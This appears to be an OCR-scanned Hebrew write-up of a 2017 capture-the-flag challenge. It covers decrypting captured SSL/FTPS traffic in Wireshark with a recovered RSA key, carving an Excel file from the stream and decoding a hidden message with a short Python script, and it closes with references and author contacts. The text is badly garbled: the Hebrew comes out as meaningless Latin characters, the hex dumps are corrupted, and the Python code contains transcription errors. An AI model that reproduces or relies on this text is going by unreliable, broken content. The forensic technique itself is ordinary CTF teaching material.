0000 @0 @c 29 70 8e 00 @9 Oc 29 99 75 ca 08 00 45 00 ¥p.... ).u...E
0010 00 54 ff 2d 40 00 40 @1 29 1b c@ a8 c8 86 c@ a8 T.-@.@ )oenn...
0020 8 88 08 @0 Ac 6c Bd c4 00 01 2f ac e9 58 @@ 88  ..... 1.. ../..%..
0020 @@ 00 ba 34 of 00 00 00 00 00 2f 63 68 61 6c 6c  ...4.... ../chal
0040 65 Be 67 65 33 2f 61 62 63 64 2f 63 68 61 6¢c 6c  enge3/ab cd/chall
0050 65 6e 67 65 33 2f 61 62 63 64 2f 63 68 61 6¢c 6c  enge3/ab cd/chall
#0680 65 be en
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AW'a Tomn 7w Wiki yalp oy Duon ,nyTIN TIV IIN¥YN secret [DINN DY VTN NK? TN

NIPNA LINIK MDY D openssl-2 wnnwa TX ,NN0'0Q [9¥IN '019n NNonn ./challenge3/abcd

2NY 1D secret X'N NNO'ON 'IIN .NI9XINN MIAVNN DX NIWSY7 'TO 12 wnnwn? Dnv

10190 NNONN TNXT7 W' Y TINA YVIAN NNo'oNY

wnnwn? Wireshark NX 19172 T ,ny1on RSA '019 NNoON 117 W' 1'YDYI secret NN"'N [DN NNO'ON

.(Edit -> Preferences -> Protocols -> SSL -> Edit) N19¥Inn NNIAYNN NX NWS7 ' 12

SES "|  secure sockets Layer

sFlow

SGSAP RSA keys list Edit...

SIGCOMP S5L debug file

SIMULCRYPT

Sp | | Browse...

SKINNY Reassemble S5L records spanning multiple TCF segments

zm:l Reassemble 551 Application Data spanning multiple S5L records

SMEBDirect M 551 Decrypt ? *x

SML

mii IP address Port  Protocol Key File Pass

SNA 192,168.200.136 990 tcp C:/Pentest/Challenges/Mossad2017/Files/pkey~/pkey_dec

SNMP

Soulbeek

SoupBinTCP

SPDY

SPRT

SRVLOC

SSCOP

55H e =

SSL

STANAGS08IY +| — | G lusers [zait 2 [Roaming |Wireshark s/ ke
< >

Cancel Help

Help

D'NXIN DNIX ,NI9XINN NNIAVNA D2'yn DNAT wony nm y'an Wireshark nx NA91'?Y¥ "NKX

TN NTIPON NIX [N INKYIE YAl 1avn? nTvnw FTP niiayvn

58 4f 52 54 28 31 39 32 2c 31 36 38 2c 32 3@ 30 PORT 192 ,168,20@
2c 31 33 34 2c 31 38 33 2c 39 35 ed @a ,134,183 ,98..

N'XI1A'92177 INIX DA 9'01) TX ,(183*256+98) 46946 yaIpn 1Ay 12 VIS YIAP? NTYR IT NTIRD

21277 N2 YAl AT'R AN N0 NNRY'ON Y

M 551 Decrypt ? X
IP address Port Protocel Key File

192.168.200.136 990 tcp C:/Pentest/Challenges/Mossad2017/Files/pke

192.168.200.134 | 46946 tep C:/Pentest/Challenges/Mossad2017/Files/pke

18
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-1 "tep.port == 46946" 107'ON NITYA 1Y YAIR NT'R 21T I'YOY Wireshark NX 29177 nn'o

follow ssl stream

M Wireshark - Follow SSL Stream (tcp.stream eq 7) - message - O X
A B AV [Content_Types].xml =
((cocoo00cmca00000000000000000005000505000050005050503055 0005050305555 050555030555505050503550550505030055555050505505050505030052505050
................................................................... T.n.@. M.?D.V..CUU..].-...L<!. .my.

T df3ac00000 $hoo0000 00280 0 0t lh=boooo0 {ocooHooooscos Tooooooo .3
ORb*B.8...2)|...e\....Z..... (boooooo [E2do o6 § 0 0™V o 000 0 00~ ol Ar(E; [l o [EiFoBo T o dbs ofhs o et o@ldEll o 0 0 Po'Zib 0 000 0 tFo3
@ F...io.{S..mA..g.." .2k?.Ly....& .Cwv..|.."z..v¥u..J.ow.}. . \.Y. . %.......A. .CB$....q5.k.MmQ6..<....
P, [ G.|..... {7 I PK......... o UB#. .. Lo...... _rels/.rels ...
({occooooonnaooo00000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000900000000000000
....................................................................................................................................... v

1 dlient pkt, 0 server pkts, O tums.

Entire conversation (10 kB) A Show and save data as ASCIL -

Find: H Find Mext

Filter Qut This Stream Print Save as... Back Close Help

MIYNN NX 1731 file-a wnnwn%? Tan D1 X7w a7 xisx yalpa "armw 'nat 'vn TN
DWA YalpPn DX MNwal Raw-7 Show and save data as-n NX 9"7n1 Ny .Microsoft Excel 2007+

.message.xlsx

"IN ...0D¥NN Y DN NIFNY 7'awa T 02 DY'NAN R NIMP DN INd AR Yan
DY LOLN NK Y7N7 NOY'W ¥ TIP AN L(72 |9I¥) TOINN 7w VORLA NIMIRN 7Y DMIP'NAN 17X

NN 91XN

from openpyxl import load workbook

wb = load workbook ('message.xlsx', read only=True)
ws = wb.get active sheet()

result = []
with open('abcd', 'r') as abcd file:
abcd = abcd file.read()
for price in map (lambda r: r[l].value, list(ws.rows) [1l:]):
result.append (abcd[price])

print "".join(result)
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NANKN DX N0 ,Nn'wnn 9107 IW'en InTY /challenge3/a2fd x'n nxxInn

nid'o
Reverse ,Web Application Security :[IA> .D'2INN NN NN YT WATE TINA [IIAN DD JANKD
150NYWO DA )XY IND TAY KIN D AXM CTIVE DINWA NN ,Operation Systems ,Engineering

A0 AT 1D I9NNYAY D'YNNhwNn

'Y Apna © Nankn DX NIN9Y 1371 DNY '9) NIN9Y WNNAN NKMPN DNINY DI N

... MY N'78D 0'9011 DNANN

Thank you for playing

It was a pleasure...
See you again next time ;)
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XY D"MivYy

e https://github.com/zed-0xff/zsteg

e https://pypi.python.org/pypi/uncompyle6/

e https://support.citrix.com/article/CTX116557

e https://en.wikipedia.org/wiki/ICMP tunnel

e https://en.wikipedia.org/wiki/Beale ciphers

e https://openpyxl.readthedocs.io/en/default/

n"annn 7y

2NINI Security-N NP7NNA lronSource NNaNQ - Reverse Engineering-n DINNA 701V :D4D o
DT R NNRODY NI YT IR W'Y NIRY 707 nimani awnn frnun 1ipny
#reversing :ynya Nix 7w IRC-n MW ©

www.cheats4gamer.com :MNNAIN O

Jllcashall@gmail.com :7"'n'Xn MAIMNA IX  ©

.Open Source aNidI F5 Networks N1ana yT'n NNVaX 1IN :(RealGame) N't YnIin o

http://www.RealGame.co.il ;01NVI'RNX  ©

realgam3@gmail.com :7'"m'X o

https://github.com/realgam3 :GitHub o
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https://en.wikipedia.org/wiki/ICMP_tunnel
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